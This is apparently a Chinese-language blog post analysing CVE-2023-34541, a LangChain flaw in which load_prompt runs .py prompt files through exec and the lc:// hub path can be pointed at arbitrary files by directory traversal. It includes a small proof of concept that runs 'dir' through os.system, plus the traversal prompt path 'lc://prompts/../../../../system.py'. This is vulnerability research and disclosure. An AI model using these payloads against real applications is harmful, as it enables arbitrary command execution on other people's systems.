主頁 >  其他 > LangChain 任意命令執行(CVE-2023-34541)

LangChain 任意命令執行(CVE-2023-34541)

2023-06-28 09:51:31 其他

漏洞簡介

LangChain是一個用于開發由語言模型驅動的應用程式的框架,

在LangChain受影響版本中,由于load_prompt函式加載提示檔案時未對加載內容進行安全過濾,攻擊者可通過構造包含惡意命令的提示檔案,誘導用戶加載該檔案,即可造成任意系統命令執行,

漏洞復現

在專案下撰寫 test.py?

from langchain.prompts import load_prompt
if __name__ == '__main__':
    loaded_prompt = load_prompt("system.py")

同級目錄下撰寫 system.py? 執行系統命令 dir?

import os
os.system("dir")

運行 test.py? 回傳了執行系統命令dir?的結果

image?

漏洞分析-_load_prompt_from_file?

langchain.prompts.loading.load_prompt?

image

try_load_from_hub? 是嘗試從給定的路徑遠程加載檔案但是因為我們是加載本地檔案,所以接下會跳轉到 _load_prompt_from_file?

langchain.prompts.loading._load_prompt_from_file?

image

在 _load_prompt_from_file? 根據檔案的后綴,當后綴是 .py? 時 最侄訓讀取該檔案并利用 exec? 去執行

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

也就相當于,代碼可以簡寫為

if __name__ == '__main__':
    file_path = "system.py"
    with open(file_path, "rb") as f:
        exec(f.read())

?

漏洞分析-try_load_from_hub?

因為網路的原因一直沒有辦法復現成功,這里就代碼層面進行一個詳細的分析

from langchain.prompts import load_prompt
?
if __name__ == '__main__':
    loaded_prompt = load_prompt("lc://prompts/../../../../../../../system.py")

langchain.prompts.loading.load_prompt?

image

langchain.utilities.loading.try_load_from_hub?

image

首先匹配了 HUB_PATH_RE = re.compile(r"lc(?Pref@[^:]+)?://(?Ppath.*)")? 所以需要滿足最開始是 lc://?

然后對后面的內容進行匹配,要求第一個欄位的值是 prompts? 最后的后綴要在 {'py', 'yaml', 'json'}? 中

image

最后拼接請求的url 可以通過 ../../../? 繞出專案的限制,指向我們設定好的檔案,并讀取加載實作任意命令執行

漏洞小結

在最新版本上面進行嘗試,仍然存在這個漏洞,這個漏洞的本質就是可以加載執行本地或者指定的 python 檔案,但是在實際應用中這個問題應該并不是那么好進行利用,因為 python 檔案的地址要可控才行,

更多網安技能的在線實操練習,請點擊這里>>

 

合天智匯:合天網路靶場、網安實戰虛擬環境

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/556141.html

標籤:其他

上一篇:如何高度優化適用于企業自定義的AI (一) 序言

下一篇:返回列表

標籤雲
其他(161743) Python(38255) JavaScript(25515) Java(18266) C(15238) 區塊鏈(8273) C#(7972) AI(7469) 爪哇(7425) MySQL(7270) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5875) 数组(5741) R(5409) Linux(5347) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4607) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2437) ASP.NET(2404) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) .NET技术(1985) HtmlCss(1974) 功能(1967) Web開發(1951) C++(1942) python-3.x(1918) 弹簧靴(1913) xml(1889) PostgreSQL(1881) .NETCore(1863) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • LangChain 任意命令執行(CVE-2023-34541)

    LangChain是一個用于開發由語言模型驅動的應用程式的框架。在LangChain受影響版本中,由于load_prompt函式加載提示檔案時未對加載內容進行安全過濾,攻擊者可通過構造包含惡意命令的提示檔案,誘導用戶加載該檔案,即可造成任意系統命令執行。 ......

    uj5u.com 2023-06-28 09:51:31 more
  • 如何高度優化適用于企業自定義的AI (一) 序言

    ## 概述 在當前資訊時代的背景下, 社會對AI的需求在不斷增長. AI的快速發展得益于大資料、云計算和計算能力的提升, 使得機器學習和深度學習等技術取得了重大突破. AI在影像識別、語音識別、自然語言處理等領域展現出驚人的能力, 為企業帶來了巨大的商機. 然而, 通用的AI解決方案無法解決所有企業 ......

    uj5u.com 2023-06-28 09:51:08 more
  • 【0基礎也能學會】JMeter:如何開始簡單的WEB壓力測驗?

    背景 最近作業上被安排針對Web網站進行性能壓測,以評估特定的硬體配置下Web網站可支持的并發用戶數。考慮到JMeter是流行的Web性能壓測工具,因此趁著這次機會上網查閱了很多關于JMeter的資料,也自己動手進行軟體的配置和調測,從最基本的發送HTTP請求,到引數化輸入,分布式測驗和最后的實時結 ......

    uj5u.com 2023-06-28 09:50:54 more
  • 天翼云,出海!

    作為全球最-大的運營商云,天翼云于2023年6月16日在香港成功舉辦 “天翼云全球發布會”,正式宣布以香港為首站,全面進軍國際市場。 發布會以“云網翼連 智算未來”為主題,邀請包括政府官員、商界領-袖和行業專家在內超過300名嘉賓匯聚一堂,共同見證天翼云正式揚帆出海。本次發布會是天翼云在海外的首場大 ......

    uj5u.com 2023-06-28 09:50:42 more
  • “息壤”引領首個算力互聯互通驗證平臺建設,天翼云開啟算力互聯網

    6月21日,“2023算力互聯互通大會”在北京召開。天翼云基于自主研發的云作業系統、紫金DPU、算力分發網路平臺“息壤”等能力,作為算力互聯互通驗證平臺的設計方、核心建設者、資源提供者與標準制定者,充分展現了跨服務商、跨架構、跨地域的算力互聯互通能力,作為開源社區首批成員與核心貢獻者推進國產開源社區 ......

    uj5u.com 2023-06-28 09:50:22 more
  • 實踐講解強化學習之梯度策略、添加基線、優勢函式、動作分配合適

    摘要:本文將從實踐案例角度為大家解讀強化學習中的梯度策略、添加基線(baseline)、優勢函式、動作分配合適的分數(credit)。 本文分享自華為云社區《強化學習從基礎到進階-案例與實踐[5]:梯度策略、添加基線(baseline)、優勢函式、動作分配合適的分數(credit)》,作者: 汀丶。 ......

    uj5u.com 2023-06-28 09:49:25 more
  • 直播程式原始碼技術分享主播邀請上麥功能

    我們經過一番操作就實作了直播程式原始碼的主播上麥功能,就如我說的,直播程式原始碼的主播上麥功能對直播程式原始碼平臺是重要的,和它同樣重要的原始碼功能技術也有很多,他們負責著直播程式原始碼平臺的每一部分 ......

    uj5u.com 2023-06-28 09:49:07 more
  • 3 分鐘為英語學習神器 Anki 部署一個專屬同步服務器

    > 原文鏈接:[https://icloudnative.io/posts/anki-sync-server/](https://icloudnative.io/posts/anki-sync-server/) ## Anki 介紹 Anki 是一個輔助記憶軟體,其本質是一個卡片排序工具--**即依 ......

    uj5u.com 2023-06-28 09:48:33 more
  • 24W機殼式AC-DC降壓開關電源模塊AP21-24W24N產品簡介

    輸入電壓:100~250V輸出電壓:24V輸出電流:1000mA輸出功率:24W產品尺寸:85*58*33mm安裝方式:螺絲固定功能特點:高精度工業電源產品簡介:AP21-24W24N是一款小體積機殼式開關電源,交流直流兩用,輸入電壓85~264Vac/100~370Vdc,超低紋波、超低功耗、高效 ......

    uj5u.com 2023-06-28 09:47:52 more
  • ISP之影像降解析度

    ### 1、影像縮放背景 影像的放大、縮小(簡稱縮放)是影像處理的一種處理方法。所謂影像縮放是指影像解析度的改變,它在影像顯示、傳輸、影像分析以及影片制作、電影合成、甚至醫學影像處理中都有著相當廣泛的應用。比如要在1024 X 768 解析度的顯示幕上全屏顯示800 X 600 的數字影像,就必需對 ......

    uj5u.com 2023-06-28 09:46:35 more